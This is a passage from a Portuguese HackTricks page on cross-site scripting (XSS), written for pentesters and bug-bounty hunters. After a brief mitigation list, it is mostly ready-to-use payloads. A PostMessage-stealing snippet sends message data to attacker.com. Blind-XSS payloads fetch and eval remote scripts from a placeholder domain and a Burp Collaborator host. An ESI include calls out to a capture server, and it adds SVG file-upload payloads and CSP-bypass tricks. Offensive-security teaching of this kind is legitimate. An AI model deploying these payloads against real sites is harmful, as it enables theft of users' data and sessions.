|
||
#### Mitigação
|
||
|
||
Para mitigar o risco de roubo de mensagens PostMessage, é importante seguir as práticas recomendadas de segurança:
|
||
|
||
- Sanitize e valide todas as entradas de usuário para evitar vulnerabilidades de XSS.
|
||
- Implemente mecanismos de controle de acesso para restringir a comunicação entre domínios.
|
||
- Utilize Content Security Policy (CSP) para limitar as origens permitidas para o método PostMessage.
|
||
- Mantenha-se atualizado sobre as últimas vulnerabilidades e correções de segurança relacionadas ao XSS e ao roubo de mensagens PostMessage.
|
||
|
||
Lembre-se de que a segurança é um processo contínuo e é essencial estar sempre vigilante contra possíveis ameaças.
|
||
```markup
|
||
<img src="https://attacker.com/?" id=message>
|
||
<script>
|
||
window.onmessage = function(e){
|
||
document.getElementById("message").src += "&"+e.data;
|
||
</script>
|
||
```
|
||
### Explorando Service Workers
|
||
|
||
{% content-ref url="abusing-service-workers.md" %}
|
||
[abusing-service-workers.md](abusing-service-workers.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Acessando Shadow DOM
|
||
|
||
{% content-ref url="shadow-dom.md" %}
|
||
[shadow-dom.md](shadow-dom.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Poliglotas
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||
|
||
### Cargas úteis de XSS cego
|
||
|
||
Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||
```markup
|
||
"><img src='//domain/xss'>
|
||
"><script src="//domain/xss.js"></script>
|
||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
|
||
|
||
<!-- html5sec - Self-executing focus event via autofocus: -->
|
||
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
|
||
|
||
<!-- html5sec - JavaScript execution via iframe and onload -->
|
||
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
|
||
|
||
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
|
||
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
|
||
|
||
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
|
||
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
||
|
||
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
|
||
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
||
|
||
<!-- xsshunter.com - Sites that use JQuery -->
|
||
<script>$.getScript("//domain")</script>
|
||
|
||
<!-- xsshunter.com - When <script> is filtered -->
|
||
"><img src=x id=payload== onerror=eval(atob(this.id))>
|
||
|
||
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
|
||
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
|
||
|
||
<!-- noscript trick -->
|
||
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
||
|
||
<!-- whitelisted CDNs in CSP -->
|
||
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
|
||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||
```
|
||
### Regex - Acessar Conteúdo Oculto
|
||
|
||
A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los nos atributos JS de diferentes objetos. Por exemplo, é possível encontrar um input de uma REGEX mesmo depois que o valor do input da regex foi removido:
|
||
```javascript
|
||
// Do regex with flag
|
||
flag="CTF{FLAG}"
|
||
re=/./g
|
||
re.test(flag);
|
||
|
||
// Remove flag value, nobody will be able to get it, right?
|
||
flag=""
|
||
|
||
// Access previous regex input
|
||
console.log(RegExp.input)
|
||
console.log(RegExp.rightContext)
|
||
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
||
```
|
||
### Lista de Brute-Force
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||
|
||
## XSS Aproveitando outras vulnerabilidades
|
||
|
||
### XSS em Markdown
|
||
|
||
É possível injetar código Markdown que será renderizado? Talvez você consiga obter XSS! Verifique:
|
||
|
||
{% content-ref url="xss-in-markdown.md" %}
|
||
[xss-in-markdown.md](xss-in-markdown.md)
|
||
{% endcontent-ref %}
|
||
|
||
### XSS para SSRF
|
||
|
||
Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Include do Lado do Edge com essa carga útil:
|
||
```python
|
||
<esi:include src="http://yoursite.com/capture" />
|
||
```
|
||
Use-o para contornar restrições de cookies, filtros XSS e muito mais!\
|
||
Mais informações sobre essa técnica aqui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md).
|
||
|
||
### XSS em PDF criado dinamicamente
|
||
|
||
Se uma página da web estiver criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
|
||
Portanto, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
|
||
|
||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||
{% endcontent-ref %}
|
||
|
||
Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados de PDF**:
|
||
|
||
{% content-ref url="pdf-injection.md" %}
|
||
[pdf-injection.md](pdf-injection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### XSS em Amp4Email
|
||
|
||
AMP é uma tecnologia conhecida por desenvolver páginas da web super rápidas em clientes móveis. **AMP é um conjunto de tags HTML suportadas por JavaScript** que facilita a funcionalidade com um foco adicional em desempenho e segurança. Existem [componentes AMP](https://amp.dev/documentation/components/?format=websites) para tudo, desde carrosséis até elementos de formulário responsivos, até a obtenção de conteúdo atualizado de pontos de extremidade remotos.
|
||
|
||
O formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) fornece [um subconjunto de componentes AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que você pode usar em mensagens de e-mail. Os destinatários de e-mails AMP podem visualizar e interagir com os componentes AMP diretamente no e-mail.
|
||
|
||
Exemplo de [**XSS em Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||
|
||
### XSS fazendo upload de arquivos (svg)
|
||
|
||
Faça o upload de um arquivo como imagem, como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||
```markup
|
||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||
Content-Length: 574
|
||
-----------------------------232181429808
|
||
Content-Disposition: form-data; name="img"; filename="img.svg"
|
||
Content-Type: image/svg+xml
|
||
|
||
<?xml version="1.0" standalone="no"?>
|
||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
|
||
<script type="text/javascript">
|
||
alert(1);
|
||
</script>
|
||
</svg>
|
||
-----------------------------232181429808--
|
||
```
|
||
|
||
```markup
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<script type="text/javascript">alert("XSS")</script>
|
||
</svg>
|
||
```
|
||
|
||
```markup
|
||
<?xml version="1.0" standalone="no"?>
|
||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
|
||
<script type="text/javascript">
|
||
alert("XSS");
|
||
</script>
|
||
</svg>
|
||
```
|
||
|
||
```svg
|
||
<svg width="500" height="500"
|
||
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||
<circle cx="50" cy="50" r="45" fill="green"
|
||
id="foo"/>
|
||
|
||
<foreignObject width="500" height="500">
|
||
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
|
||
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
|
||
</foreignObject>
|
||
</svg>
|
||
```
|
||
|
||
```html
|
||
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
|
||
```
|
||
|
||
```xml
|
||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||
```
|
||
Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||
|
||
## Truques JS Miscelâneos e Informações Relevantes
|
||
|
||
{% content-ref url="other-js-tricks.md" %}
|
||
[other-js-tricks.md](other-js-tricks.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Recursos de XSS
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||
* [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||
|
||
### FERRAMENTAS DE XSS
|
||
|
||
Encontre algumas [**ferramentas para XSS aqui**](xss-tools.md)**.**
|
||
|
||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|